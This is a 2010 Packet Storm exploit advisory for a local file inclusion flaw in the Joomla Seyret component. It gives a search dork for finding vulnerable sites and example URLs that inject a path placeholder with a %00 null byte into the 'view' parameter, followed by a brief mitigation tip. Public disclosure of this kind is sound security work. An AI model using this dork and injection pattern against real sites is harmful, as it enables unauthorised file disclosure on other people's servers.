Joomla Seyret Local File Inclusion

2010-07-03T00:00:00
ID PACKETSTORM:91433
Type packetstorm
Reporter mlk
Modified 2010-07-03T00:00:00

Description

                                        
                                            `# Exploit Title: Joomla Component Seyret (com_seyret)  
# Date: 2010-06-26  
# Author: _mlk_   
# Software Link: null  
# Version: null  
# Tested on: Linux*,*BSD and *windows  
# CVE : null  
# Code : on paper  
Joomla Component Seyret (com_seyret) - Local File Inclusion Vulnerability  
  
#############################################################################################################################  
  
  
[+] Discovered by : _mlk_ (Renan)  
  
[+] Teams : c00kies , BugSec , BotecoUnix & c0d3rs  
  
[+] Homepages : http://code.google.com/p/bugsec/ <> http://botecounix.com.br/blog/ <> http://c0d3rs.wordpress.com/  
  
[+] Location : Porto Alegre - RS, Brasil  
(or Brazil)  
  
#############################################################################################################################  
  
  
[-] Information  
  
[?] Script : Seyret  
  
[?] Vendor : http://joomlaholic.com/  
  
[?] Dork/String : "index.php?option=com_seyret" / "com_seyret"  
  
[?] Download : http://joomlaholic.com/downloads/  
  
[?] Date : 02, July 2010  
  
  
#############################################################################################################################  
  
  
[*] Example :  
  
http://localhost/index.php?option=com_seyret&view=[LFI]%00  
http://localhost/[PATH]/index.php?option=com_seyret&view=[LFI]%00  
  
  
#############################################################################################################################  
  
  
[*] Solution :  
  
Make a function that scans and reads the inclusion of paths and chars(%00) .  
  
  
#############################################################################################################################  
  
  
[~] Agradecimentos :  
  
Deus , Familiares , Amigos e Tricolor Ga�cho (Gr�mio) .  
Em especial "Cooler_" .  
  
  
#############################################################################################################################  
  
`